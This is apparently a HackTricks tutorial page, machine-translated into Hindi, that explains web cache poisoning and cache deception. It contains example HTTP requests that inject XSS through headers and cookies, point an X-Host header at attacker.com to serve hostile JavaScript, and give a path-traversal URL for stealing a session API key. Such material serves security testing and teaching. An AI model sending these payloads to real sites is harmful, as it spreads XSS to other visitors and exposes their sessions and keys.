Cache Poisoning and Cache Deception

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो को आसानी से बनाएं और स्वचालित करें। आज ही पहुंच प्राप्त करें:

अंतर

वेब कैश पॉइजनिंग और वेब कैश धोखाधड़ी के बीच अंतर क्या है?

  • वेब कैश पॉइजनिंग में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भाग्यपूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री कैश से अन्य एप्लिकेशन उपयोगकर्ताओं को प्रदान की जाती है।

  • वेब कैश धोखाधड़ी में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री को कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।

कैश पॉइजनिंग

कैश पॉइजनिंग का उद्देश्य क्लाइंट-साइड कैश को मानवीय करना है ताकि क्लाइंट्स को अप्रत्याशित, आंशिक या हमलावर के नियंत्रण में रिसोर्सेज़ लोड करने के लिए मजबूर किया जाए। प्रभाव की व्याप्ति प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को प्रदान की जाती है जो कैश के प्रदूषण की अवधि के दौरान पृष्ठ का दौरा कर रहे हैं।

कैश पॉइजनिंग हमले का कार्यान्वयन कई चरणों में होता है:

  1. अनकी इनपुट्स की पहचान: ये पैरामीटर हैं जो, यद्यपि कैश के लिए एक अनुरोध की आवश्यकता नहीं है, सर्वर द्वारा वापस लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट्स की पहचान महत्वपूर्ण है क्योंकि इन्हें कैश को मानिपुरित करने के लिए उपयोग किया जा सकता है।

  2. अनकी इनपुट्स का शोषण: अनकी इनपुट्स की पहचान के बाद, अगला कदम यह है कि इन पैरामीटरों को कैसे दुरुपयोग किया जाए ताकि हमलावर को लाभ पहुंचाने के लिए सर्वर की प्रतिक्रिया को संशोधित किया जा सके।

  3. सुनिश्चित करना कि पॉइजन्ड प्रतिक्रिया कैश में स्टोर है: अंतिम कदम यह है कि सुनिश्चित किया जाए कि मानिपुरित प्रतिक्रिया को कैश में स्टोर किया गया है। इस तरह, कैश प्रदूषित होने की अवधि के दौरान पृष्ठ तक पहुंचने वाले किसी भी उपयोगकर्ता को दूषित प्रतिक्रिया प्राप्त होगी।

खोज: HTTP हेडर्स की जांच करें

सामान्यत: जब एक प्रतिक्रिया कैश में स्टोर की गई होती है, तो एक हेडर इसका संकेत देता है, आप इस पोस्ट में ध्यान देने योग्य हेडर्स की जांच कर सकते हैं: HTTP कैश हेडर्स

खोज: कैशिंग त्रुटि कोड

यदि आप सोच रहे हैं कि प्रतिक्रिया को कैश में स्टोर किया जा रहा है, तो आप एक बुरा हेडर के साथ अनुरोध भेजने की कोशिश कर सकते हैं, जिसे एक स्थिति कोड 400 के साथ प्रतिसाद दिया जाना चाहिए। फिर सामान्य रूप से अनुरोध तक पहुंचने की कोशिश करें और यदि प्रतिक्रिया 400 स्थिति कोड है, तो आप जानते हैं कि यह वंल्नरेबल है (और आप यहां एक डोएस भी कर सकते हैं)।

आप इसमें अधिक विकल्प पा सकते हैं:

pageCache Poisoning to DoS

हालांकि, ध्यान दें कि कभी-कभी इन प्रकार के स्थिति कोड कैश नहीं होते हैं, इसलिए यह परीक्षण भरोसेमंद नहीं हो सकता।

खोज: अनकी इनपुट्स की पहचान और मूल्यांकन

आप पैराम माइनर का उपयोग कर सकते हैं ताकि आप पृष्ठ की प्रतिक्रिया को बदलने में सहायक होने वाले पैरामीटर और हेडर्स को ब्रूट-फ़ोर्स कर सकें। उदाहरण के लिए, एक पृष्ठ X-Forwarded-For हेडर का उपयोग कर सकता है ताकि क्लाइंट को वहां से स्क्रिप्ट लोड करने के लिए संकेतित करें:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

पीछे-एंड सर्वर से एक हानिकारक प्रतिक्रिया प्राप्त करें

पैरामीटर/हेडर को पहचानने के साथ जांचें कि यह कैसे सैनिटाइज़ किया जा रहा है और कहाँ से यह प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS कार्यान्वित करें या जिसे आप नियंत्रित करते हैं JS कोड लोड करें? DoS कार्यान्वित करें?...)

प्रतिक्रिया कैश करें

जब आपने पहचाना है कि कौन सा पृष्ठ दुरुपयोग किया जा सकता है, किस पैरामीटर/हेडर का उपयोग करना है और कैसे इसे दुरुपयोग करना है, तो आपको पृष्ठ को कैश करने की आवश्यकता है। कैश में आने वाले संसाधन पर निर्भर करता है, यह कुछ समय ले सकता है, आपको कई सेकंड के लिए प्रयास करने की आवश्यकता हो सकती है। प्रतिक्रिया में हेडर X-Cache बहुत उपयोगी हो सकता है क्योंकि यह मान miss हो सकता है जब अनुरोध को कैश नहीं किया गया था और मान hit हो सकता है जब यह कैश किया गया है। हेडर Cache-Control भी दिलचस्प है ताकि पता चले कि क्या कोई संसाधन कैश हो रहा है और अगली बार संसाधन को फिर से कैश किया जाएगा: Cache-Control: public, max-age=1800 एक और दिलचस्प हेडर Vary है। यह हेडर अक्सर उपयोग किया जाता है और शीर्षक का हिस्सा माना जाता है जो सामान्य रूप से अनकीड होते हैं। इसलिए, यदि उपयोगकर्ता उस शिकार का User-Agent जानता है जिसे वह लक्षित कर रहा है, तो वह उस विशेष User-Agent का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को दुषित कर सकता है। कैश से संबंधित एक और हेडर Age है। यह प्रॉक्सी कैश में वस्तु कितने सेकंड में रही है को परिभाषित करता है।

एक अनुरोध को कैश करते समय, उपयोग किए जाने वाले हेडर्स के साथ सावधान रहें क्योंकि इनमें से कुछ अप्रत्याशित रूप से उपयोग किए जा सकते हैं जैसे कि कीड और शिकार को उसी हेडर का उपयोग करना होगा। हमेशा टेस्ट करें कि क्या कैश पॉइज़निंग विभिन्न ब्राउज़र्स के साथ काम कर रहा है।

शोषण उदाहरण

सबसे आसान उदाहरण

एक हेडर जैसे X-Forwarded-For प्रतिक्रिया में असैनिटाइज़ किया जा रहा है। आप एक मूल XSS पेयलोड भेज सकते हैं और कैश को दुषित कर सकते हैं ताकि पृष्ठ का उपयोग करने वाले सभी लोग XSS हो जाएंगे:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note कि यह /en परिवार के लिए एक अनुरोध को नष्ट करेगा, न कि /en?region=uk के लिए

DoS के लिए कैश पॉइजनिंग

pageCache Poisoning to DoS

कुकी-हैंडलिंग वंशावली को उत्पीड़ित करने के लिए वेब कैश पॉइजनिंग का उपयोग

कुकी एक पृष्ठ के प्रतिक्रिया पर भी प्रतिबिम्बित हो सकती है। यदि आप इसे उदाहरण के लिए एक XSS का कारण बनाने के लिए दुरुपयोग कर सकते हैं, तो आप दुरुपयोग कर सकते हैं कई ग्राहकों में जो दुर्जन कैश प्रतिक्रिया लोड करते हैं।

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

कैश दुर्भाग्य के साथ पथ ट्रावर्सल के साथ API कुंजी चुराना

इस लेखन में स्पष्ट किया गया है कि कैसे एक OpenAI API कुंजी को चुराया जा सकता था एक URL के साथ https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 क्योंकि /share/* के समान कुछ भी होने पर कैश हो जाएगा बिना Cloudflare नार्मलाइज़ करने के URL, जो जब अनुरोध वेब सर्वर तक पहुंचता है।

वेब कैश दुर्भाग्य को शातिरता से उपयोग करने के लिए कई हेडर्स का उपयोग

कभी-कभी आपको कैश का दुरुपयोग करने के लिए कई अनकी इनपुट का शातिरता से उपयोग करना होगा। उदाहरण के लिए, आपको एक ओपन रीडायरेक्ट मिल सकता है अगर आप X-Forwarded-Host को अपने द्वारा नियंत्रित डोमेन पर सेट करते हैं और X-Forwarded-Scheme को http सेट करते हैं। अगर सर्वर सभी HTTP अनुरोधों को HTTPS पर फॉरवर्ड कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में X-Forwarded-Scheme हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को कहां दिखाया जा रहा है उसे नियंत्रित कर सकते हैं।

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

सीमित Vary हैडर का शोषण

यदि आपने पाया कि X-Host हेडर का उपयोग डोमेन नाम के रूप में JS संसाधन लोड करने के लिए किया जा रहा है लेकिन प्रतिक्रिया में Vary हेडर User-Agent को सूचित कर रहा है। तो, आपको पीड़ित का उपयोगकर्ता एजेंट निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को दुषित करने का एक तरीका खोजने की आवश्यकता है:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

मोटा गेट

URL और बॉडी में अनुरोध के साथ एक GET अनुरोध भेजें। यदि वेब सर्वर बॉडी से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक कैश करता है, तो उस URL तक पहुंचने वाले कोई भी वास्तव में बॉडी से पैरामीटर का उपयोग करेगा। जैसे जेम्स केटल ने गिथब वेबसाइट पर पाया:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

पैरामीटर क्लोकिंग

उदाहरण के लिए रूबी सर्वर में पैरामीटर को अलग करना संभव है चार ; चार का उपयोग करके बजाय &। इसका उपयोग अनकीड पैरामीटर मानों को कीड़े वाले मानों में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है।

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

HTTP रिक्ति द्वारा कैश पॉइजनिंग का शोषण करना

यहाँ सीखें कैसे HTTP अनुरोध स्मग्लिंग का दुरुपयोग करके कैश पॉइजनिंग हमले को कार्यान्वित करें.

वेब कैश पॉइजनिंग के लिए स्वचालित परीक्षण

वेब कैश वलनरबिलिटी स्कैनर का उपयोग वेब कैश पॉइजनिंग के लिए स्वचालित टेस्ट करने के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और उच्च समायोजन किया जा सकता है।

उदाहरण उपयोग: wcvs -u example.com

स्वचालित उपकरण

  • toxicache: Golang स्कैनर जो URL सूची में वेब कैश पॉइजनिंग वंलरेबिलिटीज़ खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए है।

संदर्भ

Trickest का उपयोग करें और आसानी से ऑटोमेटेड वर्कफ़्लो बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हो। आज ही पहुंच प्राप्त करें:

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated